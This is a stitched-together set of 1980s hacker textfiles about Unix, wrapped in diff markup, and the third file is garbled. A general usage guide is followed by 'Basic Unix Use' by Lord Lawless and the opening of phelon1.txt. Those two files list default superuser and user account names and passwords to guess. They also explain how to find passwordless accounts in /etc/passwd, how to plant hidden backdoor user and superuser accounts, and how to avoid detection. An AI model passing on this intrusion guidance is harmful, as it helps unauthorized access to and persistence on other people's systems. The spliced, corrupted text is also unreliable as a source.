||||
Bob Baldwin
|
||||
BALDWIN@XX.LCS.MIT.EDU
|
||||
...!ihnp4!mit-eddie!baldwin
|
||||
|
||||
and
|
||||
|
||||
Tim Shepard
|
||||
SHEP@XX.LCS.MIT.EDU
|
||||
...!ihnp4!mit-eddie!shep
|
||||
-------
|
||||
|
||||
provided for your consideration by:
|
||||
|
||||
| Striker |
|
||||
Phortune500/BOD
|
||||
-=>The DEC Hunters<=-
|
||||
|
||||
|
||||
|
||||
==============================================================================
|
||||
|
||||
UNIX* Usage Notes
|
||||
|
||||
|
||||
The following is a collection of information on various UNIX topics:
|
||||
|
||||
|
||||
Logging On
|
||||
----------
|
||||
|
||||
You need a username and a password, supplied by the system administrator.
|
||||
Some systems have guest accounts ("guest", "netguest", and other names).
|
||||
To find out who's on the system without logging in, "who", "finger", or
|
||||
"w" may work on your system.
|
||||
|
||||
(WARNING-- When you get a username or password wrong, a message gets printed
|
||||
out on the system console. Trying to brute-force your way into someone else's
|
||||
system is stupid, and you can get caught easily.)
|
||||
|
||||
There is a new Federal law that prohibits fucking around with computers across
|
||||
state lines; many states also have tough computer-crime laws. You're best off
|
||||
(believe me, I KNOW) using a UNIX system you have legitimate access to, such
|
||||
as a school's system or a public access UNIX/Xenix (there are a few in New
|
||||
York and other places; where you pay a certain amount per month).
|
||||
|
||||
|
||||
Special Characters
|
||||
------------------
|
||||
|
||||
ctrl-C (DEL (Ascii 127 on some systems) Interrupt. Stops the current
|
||||
program. (intr) [<-- name for changing it with the "stty" command]
|
||||
|
||||
ctrl-B (or ctrl-\ (28)) Quit. Like control-C but stronger. Often works
|
||||
when ctrl-C doesn't. Try ctrl-C first; some programs catch it so
|
||||
they can clean up and exit gracefully. (quit)
|
||||
|
||||
ctrl-D End-of-file. Used to end input when the terminal is being read as a
|
||||
file (mail senders and many other programs do this). If you type
|
||||
control-D to the shell (command interpreter), it will usually log
|
||||
you out. (If not, use "exit" or "logout".) (eof)
|
||||
|
||||
DEL (or ctrl-H) Erase the last character typed. (erase)
|
||||
|
||||
ctrl-U (rarely @) Erase the line typed so far. (kill)
|
||||
|
||||
ctrl-S Pause during output. (stop)
|
||||
ctrl-Q Resume during output. (start)
|
||||
|
||||
ctrl-M Will usually work just like RETURN.
|
||||
ctrl-J Will usually work just like RETURN.
|
||||
|
||||
As you can see, special characters are hardly standardized. (Old UNIX's used
|
||||
to use # for character erase!) Give the "stty" command to see the settings on
|
||||
your system, or to change them for your terminal session. To change the erase
|
||||
to backspace (ctrl-H), give the command "stty erase '^H'".
|
||||
|
||||
|
||||
Getting Information on Commands
|
||||
-------------------------------
|
||||
|
||||
"man" is the standard command for getting information. "man mail" tells you
|
||||
all about the 'mail' command. "man -k delete" gives you a list of everything
|
||||
matching the keyword 'delete'.
|
||||
|
||||
|
||||
Sending and Receiving Mail
|
||||
--------------------------
|
||||
|
||||
"mail joe" sends a letter to the username 'joe'. Type your letter on the
|
||||
next lines, ending with control-D on a line by itself.
|
||||
"mail" lets you read your mail. When it asks whether to "save?", 'y' saves
|
||||
the letter in your file 'mbox' (for old mail); 'n' gets rid of it.
|
||||
|
||||
Many systems also have more sophisticated programs for sending and receiving
|
||||
mail (for those, type a "?" at the mail prompt "_" or maybe "-").
|
||||
|
||||
|
||||
Directories ala UNIX
|
||||
--------------------
|
||||
|
||||
UNIX files are arranged in a tree structure. (If you're used to MS-DOS or
|
||||
PC-DOS, just use forward slashes / instead of backslashes \, and forget about
|
||||
drive letters, and you'll be fine.)
|
||||
|
||||
There is a root directory, the "top" of the file system. At any point, there
|
||||
can be subdirectories, which are just named areas to put files in so they
|
||||
won't clutter up the root directory. These subdirectories can contain sub-
|
||||
directories, which can contain other subdirectories, and so forth until the
|
||||
disk can't hold any more files.
|
||||
|
||||
Here's an example of what *part* of a UNIX filesystem might look like:
|
||||
|
||||
(root)
|
||||
/
|
||||
++++++++++++++++++++++++++++++++++++
|
||||
+ + + + + +
|
||||
+ + + + + +
|
||||
unix/ bin/ etc/ lib/ tmp usr/
|
||||
+ + + + ++
|
||||
++ lib dev src + + +
|
||||
+ + + + +
|
||||
+ + + + +
|
||||
adm bin george bill mikey
|
||||
|
||||
A name like /foo/bar means start at the root, go to subdirectory foo, then
|
||||
to the file bar (which can be either a subdirectory or a plain file).
|
||||
"foo/bar" (no slash at the beginning) means start at the CURRENT DIRECTORY
|
||||
(the 'pwd' command tells you where you are), and go through subdirectory
|
||||
foo to bar.
|
||||
|
||||
foo means foo in the current directory. . (a dot) means the current direc-
|
||||
tory itself; .. (two dots) means the parent directory, one level above the
|
||||
current one. So ./xyzzy is the same file as xyzzy.
|
||||
|
||||
/unix is the UNIX kernel, the system routines that get read in when the system
|
||||
is booted up.
|
||||
|
||||
/bin and /usr/bin (and other places like /usr/local on most systems) hold
|
||||
command programs; when you type 'pwd' or 'ls' (list files) or most other UNIX
|
||||
commands, these directories are checked for the 'pwd' or 'ls' program or what-
|
||||
ever. Almost all UNIX commands are ordinary programs; nothing magical.
|
||||
|
||||
/etc, /lib, /usr/lib, /usr/adm, etc. hold "miscellaneous" system files. A few
|
||||
of these are quite critical; I'll discuss them later.
|
||||
|
||||
/tmp and /usr/tmp are work areas for temporary files. They get cleared
|
||||
regularly, at least whenever the system is re-"booted".
|
||||
|
||||
In this example, /usr/george, /usr/bill, and /usr/mikey are three users' file
|
||||
areas or "home directories". Naming of home directories varies wildly between
|
||||
UNIX systems; they might look like /usr/george or /usr/users/smith or
|
||||
/home/andrews or /i/ins/.heyho. When you log in, your current directory is
|
||||
set to your home directory.
|
||||
|
||||
|
||||
Commands for Managing Directories
|
||||
---------------------------------
|
||||
|
||||
cd Change Directory - move to another current directory (e.g.
|
||||
"cd /usr/george" or "cd .."). Plain "cd" takes you to your
|
||||
own home directory (unlike MS/PC-DOS!).
|
||||
|
||||
pwd Print Working Directory - prints your current (default)
|
||||
directory. Lets you see where you are.
|
||||
|
||||
mkdir MaKe DIRectory, e.g. "mkdir hacks" to create a subdirectory
|
||||
named "hacks" under your current directory.
|
||||
|
||||
rmdir ReMove DIRectory. The directory must be empty.
|
||||
|
||||
|
||||
Other File Commands
|
||||
-------------------
|
||||
|
||||
ls LiSt files. You may give directories or filenames after "ls", or "ls"
|
||||
by itself will list the current directory.
|
||||
ls -l List in Long format (with protection, owner, size (in characters) and
|
||||
date before the filenames.
|
||||
ls -a List All files; ordinarily files starting with a dot are not listed.
|
||||
Many "setup" files have names like .profile, .login, .cshrc, .sendrc,
|
||||
and so forth. Ordinarily "ls" doesn't bother you with them.
|
||||
ls -d foo
|
||||
Lists "foo" as a file; doesn't list what's inside if foo is a
|
||||
directory. Useful in combinations like "ls -ld foo".
|
||||
Other options can be combined this way, like "ls -al".
|
||||
|
||||
cat chow
|
||||
Prints the contents of the file "chow" on your terminal.
|
||||
rm trash
|
||||
ReMoves (deletes) the file "trash". Once it's gone, you can't get it
|
||||
back again.
|
||||
chmod
|
||||
Changes file protections. More about that later.
|
||||
ed, vi, ex, emacs, ...
|
||||
Text editors. Consult any good introductory UNIX book.
|
||||
|
||||
|
||||
Input/Output Redirection
|
||||
------------------------
|
||||
|
||||
Using "<file" on the command line (after the command!) lets input come from
|
||||
"file" instead of "standard input" (the terminal). Similarly, ">file" redi-
|
||||
rects output to "file", clobbering whatever was in it before. ">>file" means
|
||||
append to the end of "file".
|
||||
|
||||
"foo a b c | bar x y z" means to run the command "foo a b c", and give its
|
||||
output as the input of the command "bar x y z". This is called a 'pipe'
|
||||
between the commands; UNIX hackers call '|' a "pipe sign".
|
||||
|
||||
For example, "cat" (like many commands) uses standard input if you don't give
|
||||
a filename. If you say "cat >piss", it'll read from your terminal until you
|
||||
hit control-D, and put that text into the file "piss".
|
||||
|
||||
|
||||
Special Filename Characters (Wildcards)
|
||||
---------------------------------------
|
||||
|
||||
'*' in the command line matches any string of characters within a filename.
|
||||
'?' matches any ONE character. '[abc]' matches 'a', 'b', or 'c'. For
|
||||
example, "*.c" will match "foo.c", "prog2b.c", and ".c", but not "mailbox"
|
||||
or ".c.d.e".
|
||||
|
||||
A dot at the beginning of a filename (as in ".profile") and directory slashes
|
||||
will not be matched -- you have to type them explicitly.
|
||||
|
||||
These wildcards are expanded on the command line. So if you type "echo a*b",
|
||||
"echo" might be run with arguments "abb" "alba1.b" etc., or whatever. (echo
|
||||
just echoes back its arguments to you; "echo *" works a lot like plain "ls".)
|
||||
|
||||
|
||||
UID's, GID's, and File Protection
|
||||
---------------------------------
|
||||
|
||||
Your account has a User ID (uid) number, which identifies which files you own,
|
||||
and a Group ID (gid), which determines which files you can access as a member
|
||||
of "the group".
|
||||
|
||||
A uid of 0 is special. It signifies the superuser, who can read any file and
|
||||
write any non-directory. Superusers can use "chown" and "chgrp" to change
|
||||
the ownership of files, and in general do anything we damn well please.
|
||||
There is usually an account "root" whose uid is 0. If you're running a UNIX
|
||||
system, NEVER give the superuser password to anyone who doesn't have a DAMNED
|
||||
EXCELLENT reason to know. (change the password frequently--maybe every week
|
||||
or two; ALWAYS whenever an "employee" leaves).
|
||||
|
||||
There are three ways to access a file -- owner, if your uid matches that of
|
||||
the file; group member, if your gid matches the file's; and other.
|
||||
|
||||
Whenever you create a file, it is given your uid and gid.
|
||||
|
||||
The "ls -l" display shows the protection code for a file (which the owner may
|
||||
change). A typical "ls -l" line might look like this:
|
||||
|
||||
-rw-r--r-- george users 6125 May 20 15:42 stuffy-funk
|
||||
|
||||
prot.code owner group size mod.date name
|
||||
(these correspond
|
||||
to uid & gid #'s)
|
||||
|
||||
The protection code can be broken down into several sections:
|
||||
|
||||
- rw- r-- r--
|
||||
|
||||
1 2 3 4
|
||||
|
||||
1: 'd' for a directory, 'b' or 'c' for "special files" which are really
|
||||
devices, and '-' for ordinary files.
|
||||
|
||||
2: permissions for the owner. 'r'=read, 'w'=write, 'x'=execute.
|
||||
3: permissions for the group.
|
||||
4: permissions for others.
|
||||
|
||||
|
||||
Protection on Directories
|
||||
-------------------------
|
||||
|
||||
Since it makes no sense to 'execute' a directory, the protection bits have
|
||||
a slightly different meaning on a directory.
|
||||
|
||||
Execute means you can access files and subdirectories if you know their
|
||||
names. (If a directory has execute but no read permission, you can't "ls"
|
||||
it to see what's there, but you can use files you know are there.)
|
||||
Read means you can look to see what's there with "ls" or with special
|
||||
filename characters.
|
||||
Write means you can create and delete files in the directory. THIS IS THE
|
||||
ONLY PROTECTION DEALING WITH DELETING FILES - it doesn't matter whose file it
|
||||
is, as long as you have write permission in its parent directory.
|
||||
|
||||
|
||||
SetUID and SetGID programs
|
||||
--------------------------
|
||||
|
||||
If the setuid bit of an executable file is set, then whenever you run that
|
||||
file, your "effective uid" temporarily becomes that of the file. This is
|
||||
commonly used for games which write to a high score file that people should
|
||||
not be able to mess with otherwise. The "set group id" bit works similarly.
|
||||
These bits show up as an 's' instead of an 'x' in the owner and group sections
|
||||
of the protection code.
|
||||
|
||||
|
||||
The "Sticky" Bit ('t' bit)
|
||||
----------------
|
||||
|
||||
Only the superuser can set the sticky bit, which shows up as a 't' in the
|
||||
"others" section of the protection code. This bit means the program can't
|
||||
be swapped out of memory, speeding up access time for small systems programs
|
||||
that are used often. This bit can also be set as a part of your trusty hack
|
||||
program (to be presented in a later installment).
|
||||
|
||||
|
||||
Changing File Protection with "chmod"
|
||||
-------------------------------------
|
||||
|
||||
The chmod command has the form "chmod CODE FILE(S)". CODE is an octal code
|
||||
made by or-ing together the following:
|
||||
|
||||
04000 set user id on execution
|
||||
02000 set group id on execution
|
||||
01000 sticky bit [program is loaded into buffer]
|
||||
0400 read permission for owner
|
||||
0200 write permission for owner
|
||||
0100 execute permission for owner
|
||||
040, 020, 010 read, write, execute for group
|
||||
04, 02, 01 read, write, execute for others
|
||||
|
||||
For example, "chmod 644 trash" would set the file "trash" to be readable and
|
||||
writable by the owner, and only readable by others (or world).
|
||||
Of course, only the owner or the superuser can use chmod on a file.
|
||||
|
||||
|
||||
The Password File -- /etc/passwd
|
||||
-----------------
|
||||
|
||||
The file /etc/passwd lists all the accounts on the system. It is stored in a
|
||||
printable form, and everyone can read it. Each account is represented by a
|
||||
line like
|
||||
|
||||
george:D/d7C.Xyu3pPr:205:40:George Porgie:/usr/george:/bin/sh
|
||||
1----- 2------------ 3-- 4- 5------------ 6---------- 7------
|
||||
|
||||
There are seven parts, separated by colons.
|
||||
|
||||
1: the username
|
||||
2: the encrypted password. The encryption algorithm is supposed to not be
|
||||
reversible; to check the password you type while logging in, UNIX encrypts
|
||||
your guess and sees if the encrypted version matches.
|
||||
If no value is given (like in "guest::99:99: ...etc..."), no password is
|
||||
necessary. If you see an "X" or "*" or "NOLOGIN" or something here, then
|
||||
nobody can log into the account, since the "X" will never match an encrypt-
|
||||
ed password.
|
||||
3: the user id
|
||||
4: the group id. (The file /etc/group lists group ids and group names.)
|
||||
5: usually the person's real name
|
||||
6: the home directory
|
||||
7: the command interpreter to use. The default is "/bin/sh". Special
|
||||
accounts like "who" work by putting the program name (like /bin/who)
|
||||
here; as soon as this "command interpreter" finishes, the account is
|
||||
logged off.
|
||||
|
||||
|
||||
The SU Command -- Temporarily Switching to Another Account
|
||||
--------------
|
||||
|
||||
If you give the command "su bill", it will ask for a password. If you give
|
||||
bill's correct password, you temporarily switch into bill's account. Type
|
||||
a control-D to get back to your own account.
|
||||
|
||||
"su" by itself means the same as "su root". *WARNING*!! Every time you use
|
||||
su to try to get into a superuser account, it prints a message on the system
|
||||
console (something like "SU george 20 May 1986 15:42" if you get in; "BADSU"
|
||||
etc. if you don't). Don't try to force your way in with "su" -- they'll
|
||||
notice and possibly trace your phone line.
|
||||
|
||||
=============================================================================
|
||||
|
||||
This is the end of my introduction to UNIX* systems.
|
||||
Look for further installments on the UNIX series of operating systems.
|
||||
(Including "Hacking" philes :-)
|
||||
|
||||
|
||||
---Striker---> 1/12/86
|
||||
---=======--> uVaxSquad!
|
||||
|
||||
* UNIX is a trademark of AT&T Bell Laboratories
|
||||
-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
|
||||
|
||||
note: I wrote this particular doc phile last year and I haven't included
|
||||
changes from the new System V and System 7 releases. In the future
|
||||
there will be appended versions with Xenix and BSD specifics...
|
||||
|
||||
|
||||
| Striker |
|
||||
Phortune500/BOD
|
||||
-=>The DEC Hunters<=-
|
||||
|
||||
uucp ...!ihnp4!mb2c!fmsrl7!cideq3!striker
|
||||
{ihnp4,seismo,philabs,ucbvax}!decvax!cwruecmp!ncoast!bizarre
|
||||
...!ucbvax!ucivax!amovax!conexch!striker
|
||||
Inter striker@cideq3.cidnet.com
|
||||
ncoast!bizarre%Case.CSNET@CSnet-Relay.ARPA
|
||||
|
||||
|
||||
|
||||
********************
|
||||
Basic Unix Use
|
||||
By Lord Lawless
|
||||
Phortune 500
|
||||
Board of Directors
|
||||
********************
|
||||
March 8, 1987
|
||||
-------------
|
||||
|
||||
This file is basically a brief introduction and overview for the beginning
|
||||
hacker to the Unix operating system. All information contained herein is
|
||||
accurate to the extent of my knowledge. This file is intended for inform-
|
||||
ational purposes only and the author (Lord Lawless) is in NO way responsible
|
||||
for the use of this file for purposes other than the aforementioned.
|
||||
|
||||
Part I: What is Unix?
|
||||
----------------------
|
||||
Unix is an operating system, so designated because it allows a user to
|
||||
interface with a computer in a way that is (hopefully) easy for the user to
|
||||
learn and use. Unix can be known by other forms, PC-Unix, Xenix, etc., but
|
||||
they all basically are the same (with slight differences this file won't go
|
||||
into) and use the same commands. Unix is a wonderfully simple to use OS once
|
||||
you begin, and while this file will help you I recommend that you find a Unix
|
||||
system somewhere and wander around on it to help yourself to learn. To put
|
||||
this more formally:
|
||||
|
||||
The UNIX system is a set of programs that include a time-sharing
|
||||
operating system and a set of utility programs. The operating
|
||||
system has two basic parts:
|
||||
|
||||
1) The kernel is the program in the UNIX operating system
|
||||
that is responsible for most operating system functions. It
|
||||
schedules and manages all the work done by the computer and
|
||||
maintains the file system. It is always running, and is
|
||||
invisible to users.
|
||||
|
||||
2) The shell is the UNIX operating system program responsible
|
||||
for handling all interaction between users and the computer.
|
||||
It includes a powerful command language called "shell language"*.
|
||||
|
||||
The utility programs (usually called UNIX commands) are executed
|
||||
through the shell, and allow users to communicate with each other,
|
||||
to edit and manipulate files, to write and execute programs in
|
||||
several programming languages, and many other things.
|
||||
|
||||
|
||||
Part II: Recognizing a Unix system
|
||||
-------------------------------------
|
||||
When you connect to a Unix system you will see a message usually like
|
||||
"AT&T Unix: Unauthorized use will be Prosecuted!" or just "Unix System V" or
|
||||
the like. At the least you will see a prompt saying "login:". At this point,
|
||||
if possible, make sure that you are in lowercase, because if the computer det-
|
||||
ects that you are typing in uppercase everything you read after will be in
|
||||
uppercase with lowercase denoted by a \ in front of the word. This is because
|
||||
Unix is case sensitive, so be careful, reading lowercase is much easier than
|
||||
reading all uppercase and slashes. Ok, so here you are at the Unix "login:"
|
||||
prompt.
|
||||
|
||||
Part III: Logging on
|
||||
---------------------
|
||||
At this point you must enter your login, and then, if the account (
|
||||
never more than 14 characters) has one, the password. Now, all Unix systems
|
||||
have default accounts, and unless set by the Root System Operator no passwords.
|
||||
This has been the means of infiltration by many the Unix hacker. There are two
|
||||
types of accounts in a Unix, the "super user" and the "user". The super user
|
||||
has access to almost everything (or everything depending on the system) and the
|
||||
user basically has access to the files he owns and what he can sometimes read.
|
||||
The default super user accounts on a unix are:
|
||||
|
||||
ROOT
|
||||
MAKEFSYS
|
||||
MOUNTFSYS
|
||||
UMOUNTFSYS
|
||||
CHECKFSYS
|
||||
and sometimes
|
||||
ADMIN
|
||||
SYSADMIN.
|
||||
|
||||
For passwords to these try things like SYSTEM, SYSMAN, SYSADMIN, ADMINISTRATOR,
|
||||
OPERATOR, SYSOP, etc.
|
||||
The default user-level accounts are:
|
||||
LP
|
||||
DAEMON
|
||||
TROUBLE
|
||||
NUUCP
|
||||
UUCP
|
||||
RJE
|
||||
ADM
|
||||
SYSADM
|
||||
SYNC
|
||||
BIN
|
||||
|
||||
(Note: These accounts should be entered in lower case , I merely wrote them
|
||||
in upper case for easier reference.)
|
||||
After being on Unix's, I have also seen the following common accounts:
|
||||
USER
|
||||
UNIX
|
||||
GAMES
|
||||
GUEST
|
||||
STUDENT -on school run Unix's.
|
||||
|
||||
The maximum length of a password is 11 characters.
|
||||
After doing all this you should, with luck, be in!
|
||||
If you couldn't hack anything out, try typing "WHO" at the login: prompt, it
|
||||
may list all the user accounts and you can try them until you find one without
|
||||
a password.
|
||||
|
||||
Part IV: You're in!!!
|
||||
----------------------
|
||||
Congratulate yourself, the hardest part of Unix "hacking" is over. Ok,
|
||||
now that you're in you'll see a prompt which will probably look like "$" for a
|
||||
user account or "#" if you got lucky and got a super user account.
|
||||
(Quick note, to stop a unix process in action try typing ctrl-d or control
|
||||
backspace, these are the end of file/Stop process keys.)
|
||||
Ok, so you are now in. Let me give a quick lesson on Unix directories. In
|
||||
Unix, the root is the main directory, and it contains subdirectories which may
|
||||
contain subdirectories etc. In order to change to the root directory, one
|
||||
would type "cd /". This is because "cd" is the command "change directory" and
|
||||
"/" is the root directory. To change to subdirectory "Bill" contained in the
|
||||
root directory, you would type "cd /Bill" or, if you were in the root dir, just
|
||||
"cd Bill". If you wanted to access Bill's files, you'd enter "cd /Bill/files"
|
||||
assuming Bill had a subdir called files where he kept his files. This is how
|
||||
a person would move around in a Unix sys. Graphically, it looks like this:
|
||||
|
||||
Root
|
||||
__________!!_________
|
||||
!!
|
||||
__Bill__
|
||||
!!
|
||||
__Files__
|
||||
|
||||
|
||||
Part V: Basic Commands
|
||||
-----------------------
|
||||
Ok, these commands are the most useful ones that I've found and can are
|
||||
entered from the prompt.
|
||||
|
||||
Command:What it does
|
||||
--------------------
|
||||
ls gives a listing of all files in a directory
|
||||
|
||||
cat gives a dump to screen of what is contained in a file. For instance
|
||||
"cat phones" would show me what is in file "phones".
|
||||
|
||||
cd change directory
|
||||
|
||||
pwd shows what directory path you are in now
|
||||
|
||||
ps shows system processes
|
||||
|
||||
rm remove a file, for instance "rm phones".
|
||||
|
||||
rmdir removes a directory, for instance "rm Bill".
|
||||
|
||||
grep print ascii strings in a file, ie "grep phones"
|
||||
|
||||
who shows who's on the system
|
||||
|
||||
mail sends mail to a user, syntax mail <username>
|
||||
|
||||
su change from 1 account to another. For instance, if you are account
|
||||
Bill and wish to change to account Jake (which is unpassworded) just
|
||||
type "su Jake" and you will change to him. If Jake has a password you
|
||||
will be prompted to enter it. This is useful for login in under a
|
||||
user account and switching later to a super user account.
|
||||
|
||||
passwd allows a user to change his password. If you are a superuser you can
|
||||
change someone elses password by typing "passwd <account>".
|
||||
|
||||
mkuser make a user (providing you are a super user)
|
||||
|
||||
mkdir create a directory
|
||||
|
||||
More Information about Commands
|
||||
-------------------------------
|
||||
The following are more of the most basic Unix commands.
|
||||
|
||||
cat cd chmod cp cut date
|
||||
echo egrep fgrep file find glossary
|
||||
grep help ln locate ls mail
|
||||
mesg mkdir mv news pr ps
|
||||
pwd rm sleep sort starter stty
|
||||
tabs tail tee time touch tty
|
||||
uname usage wall wc who write
|
||||
|
||||
Using the Command: mkdir
|
||||
|
||||
Syntax Summary: mkdir dir_name1 [ dir_name2 ...]
|
||||
where:
|
||||
dir_names are simple subdirectory names,
|
||||
relative pathnames, or full pathnames
|
||||
|
||||
Description:
|
||||
mkdir creates one or more new directories.
|
||||
If mkdir is given a simple name as an argument, the new
|
||||
directory will be a subdirectory of the current directory.
|
||||
You can make new directories anywhere in the file system
|
||||
by giving mkdir a complete or relative pathname for the new
|
||||
directories, if you have permission to write in the directory
|
||||
where the new directory is to be created.
|
||||
|
||||
Ok, those are the basic commands you will need to go around in the system.
|
||||
|
||||
Part VI: Useful Information
|
||||
----------------------------
|
||||
A great place to go to get information on who is on the system and
|
||||
what accounts you can use to get on again is contained in the file "passwd"
|
||||
in the "etc" directory. To look at it, cd etc, and then cat passwd. The
|
||||
first entry should say something like this:
|
||||
|
||||
root:adfaBADca:0:1:Operator:/:/bin/sh
|
||||
|
||||
what this means is that the root account has an encrypted password, has super-
|
||||
user capabilities (any user with a 0 in that slot is a super user) is in group
|
||||
1 (relatively unimportant for this file), has a comment of Operator (this may
|
||||
be blank), has a home directory of / (the root) and uses the Bourne Shell, kept
|
||||
in the /bin directory.
|
||||
You will then see all the other users listed out in the same format. If you
|
||||
see an account followed by two colons, that means that it has no password. You
|
||||
want these accounts so that you can log in under them another time. If you get
|
||||
real lucky you may see something like this:
|
||||
|
||||
makefsys::0:1:/bin:/bin/sh
|
||||
|
||||
meaning that you have found a super user account with no password, a very
|
||||
useful item indeed.
|
||||
|
||||
Another good place to look is the /usr/spool dir and the
|
||||
/usr/spool/cron/crontabs dir because if you are a super user that dir contains
|
||||
much that will be useful to you.
|
||||
|
||||
In order to move up to a directory one level higher than you are presently in,
|
||||
type "cd ..". So to move from /Bill/files to /Bill I would just type cd ..
|
||||
and, assuming I started in /Bill/files I would now be in /Bill.
|
||||
|
||||
Ok, now you can wander the system "cat"'ing around and whatnot. If a file
|
||||
doesn't "cat", try just typing it's name, that will execute it if you have the
|
||||
privileges. Try typing "admin" or "ua" if you are a superuser nad maybe you'll
|
||||
be able to create users or other interesting things. You may not be able to
|
||||
cat a file or run it because you lack access permissions. What are they? Read
|
||||
on!
|
||||
|
||||
Access Permissions
|
||||
------------------
|
||||
access permissions: permissions: mode: owner:
|
||||
owner/group/others: read/write/execute
|
||||
|
||||
As the user of a UNIX system, you can decide who can read, write,
|
||||
and execute the files and directories that you own. You are
|
||||
usually the owner of files and directories that you have created in
|
||||
your login directory and in the "subdirectories"* in your login
|
||||
directory. You may also own files in other peoples' directories.
|
||||
You control the use of your files and directories by specifying the
|
||||
access permissions, also called the mode, for each. You can specify
|
||||
different access permissions for yourself, your "group"*, and the
|
||||
other users of the system. Permission to read allows the user to
|
||||
read the contents of the file. Write permission allows the user to
|
||||
change the file and execute permission enables the user to execute
|
||||
the program within the file.
|
||||
|
||||
ls -l
|
||||
|
||||
prints the access permissions for each file and directory in the
|
||||
current directory. The sample listing below shows the mode of the
|
||||
file (preceded by a -), the number of "links"*, the owner, the
|
||||
"group ID"*, the size in characters, the date and time the file
|
||||
was last modified, and the "filename"*.
|
||||
|
||||
-rwxr-x--x 1 sandy 12345 128 Oct 9 9:32 lock
|
||||
|
||||
If this were a listing for a directory, the hyphen (-) would be
|
||||
replaced by the letter d. The owner of the file "lock" can read,
|
||||
write and execute the file, the group can read and execute it, and
|
||||
the others can only execute it. You can change the mode of your
|
||||
files and directories by using the change mode command, chmod.
|
||||
|
||||
Other interesting places to look are in the directories assigned to the users
|
||||
on the Unix system, often their files will contain some useful information.
|
||||
Also try going into the /uucp directory or looking for any uucp dir anywhere as
|
||||
it may contain phone numbers to other Unix systems or other "goodies".
|
||||
|
||||
|
||||
The *: asterisk
|
||||
---------------
|
||||
In the shell, an asterisk matches any "string"* of characters in
|
||||
a "filename"* on a command line. The command
|
||||
|
||||
rm temp*
|
||||
|
||||
removes all files from the current working directory that begin with
|
||||
the string "temp". Files like "temp", "temp1", "temp.1", and
|
||||
"temp.save" would all be deleted. An asterisk alone matches any
|
||||
filename in the current working directory except those beginning
|
||||
with "dot (.)"*. For example,
|
||||
|
||||
rm *
|
||||
|
||||
removes all the files in your directory except for the dot (.)files.
|
||||
|
||||
Finally, typing help at the unix prompt may bring up a help manual that is
|
||||
usually quite well done and will help you if you are stuck or wish to explore
|
||||
in more depth the commands I didn't go into.
|
||||
|
||||
Hmm, what else? I can't think of much more right now that would help you much
|
||||
more, in this file I think I've covered everything that should get you well on
|
||||
your way towards becoming a unix hacker. Once you've got this, start reading
|
||||
files on "Unix Shells", "Scripts", and ask around A LOT. Ah, I just remembered
|
||||
something. To get help on a command, type "man <command>" or "whatis <command>
|
||||
" and you may find out. Also, a lot of Unix's have a built in Help feature
|
||||
somewhere, try to get to it.
|
||||
|
||||
Part VII: A Few Final Words
|
||||
----------------------------
|
||||
If you manage to get onto a Unix system, don't screw it up. Unix is a
|
||||
great operating system, and fun to learn on and have other people learn on.
|
||||
Don't become a superuser and delete everything or other things, it's just not
|
||||
worth it. Also, don't make a user called "Hacker" or "Shadow 1" or something,
|
||||
that's a blatant giveaway. Put an account a little out of the way directory,
|
||||
and create user level accounts if you must, and perhaps just 1 super user
|
||||
level. I can't think of much more to say on the basics, though I probably left
|
||||
some important things out....nobody's perfect. I hope you enjoyed the file and
|
||||
I can be found on the following boards:
|
||||
|
||||
The Private Connection
|
||||
The Undergraduates Lounge
|
||||
Quick Shop
|
||||
Phreak Klass 2600
|
||||
The Brewery
|
||||
The Works
|
||||
Slaughterhouse 5, Holovision Network Node 1
|
||||
Spock's Brain
|
||||
|
||||
Special Thanks to: The Prophet, for his excellent file: Unix Use and Security
|
||||
From the Ground Up.
|
||||
|
||||
The End, good luck, enjoy yourself, and don't get caught!
|
||||
|
||||
Lord Lawless
|
||||
Phortune 500/BOD
|
||||
|
||||
--This has been a Lord Lawless Presentation, (C) 1987.--
|
||||
|
||||
|
||||
(C) 1987 Phortune 500
|
||||
|
||||
|
||||
|
||||
|
224
textfiles.com/hacking/UNIX/phelon1.txt
Normal file
224
textfiles.com/hacking/UNIX/phelon1.txt
Normal file
@@ -0,0 +1,224 @@
|
||||
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
/
|
||||
THE _ * * * /\ /
|
||||
// ////////// \\\\ \\\\ | <20>_ * * / \ /
|
||||
// // \\\ \\\ |- * * / \ /
|
||||
// //////// \\\\ //////\\\\ |_ * * / \ /
|
||||
// \\\ \\\ * * / \/
|
||||
/// \\\\ \\\\ * * * /
|
||||
/////
|
||||
|
||||
brings you another text phile and another bad ascii signature.
|
||||
ok this file will be about.. hmm.. let's see. how about unix.
|
||||
ok. well today we will talk about unices for the beginner, and then
|
||||
just as a side topic, one of my faves of all time, the tacobell unix.
|
||||
;) anyways if you are a beginner at unix then you should rtfm but i guess
|
||||
since this is supposed to be the fm that you should read on.
|
||||
(riiiight??) on the other hand, if you're more experienced with unix,
|
||||
check out the files "PHELON2.UNX" and "PHELON3.UNX" for more advanced
|
||||
unix hacking techniques.
|
||||
|
||||
|
||||
ok .. let's start out with some defaults to help you out:
|
||||
|
||||
(root access - never seen any where the root pw was not changed.)
|
||||
root
|
||||
cron
|
||||
adm
|
||||
admin
|
||||
sysadmin
|
||||
sysadm
|
||||
checkfsys
|
||||
checkssys
|
||||
umountfsys
|
||||
makefsys
|
||||
lpadmin
|
||||
|
||||
|
||||
- those are just a few with "root" access.. here are some more logins
|
||||
that may or may not have root privileges.
|
||||
|
||||
bin
|
||||
daemon
|
||||
lp
|
||||
uucp
|
||||
sysdiag
|
||||
tech
|
||||
diag
|
||||
... and on and on and on... but this isn't a defaults list so we won't go
|
||||
on and on and on. Find the phile "phelon.pws" written by yours truly
|
||||
